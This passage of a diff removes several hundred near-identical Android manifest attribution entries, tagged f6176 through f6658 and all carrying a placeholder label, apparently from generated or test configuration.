-  <attribution android:tag="f6176" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6177" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6178" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6179" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6180" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6181" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6182" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6183" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6184" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6185" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6186" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6187" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6188" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6189" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6190" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6191" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6192" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6193" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6194" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6195" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6196" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6197" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6198" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6199" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6200" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6201" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6202" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6203" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6204" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6205" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6206" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6207" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6208" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6209" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6210" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6211" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6212" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6213" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6214" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6215" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6216" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6217" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6218" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6219" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6220" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6221" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6222" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6223" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6224" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6225" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6226" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6227" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6228" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6229" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6230" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6231" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6232" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6233" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6234" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6235" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6236" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6237" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6238" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6239" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6240" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6241" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6242" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6243" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6277" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6278" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6279" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6280" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6281" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6282" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6283" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6284" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6285" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6286" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6287" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6288" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6289" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6290" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6291" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6292" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6293" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6294" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6295" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6296" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6297" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6298" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6299" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6300" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6301" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6302" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6303" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6304" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6305" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6306" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6307" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6308" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6309" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6310" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6311" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6345" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6624" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6625" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6626" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6627" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6628" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6629" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6630" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6631" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6632" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6633" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6634" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6635" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6636" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6637" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6638" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6639" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6640" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6641" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6642" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6643" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6644" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6645" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6646" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6647" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6648" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6649" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6650" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6651" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6652" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6653" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6654" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6655" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6656" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6657" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6658" android:label="@string/dummyLabel" />
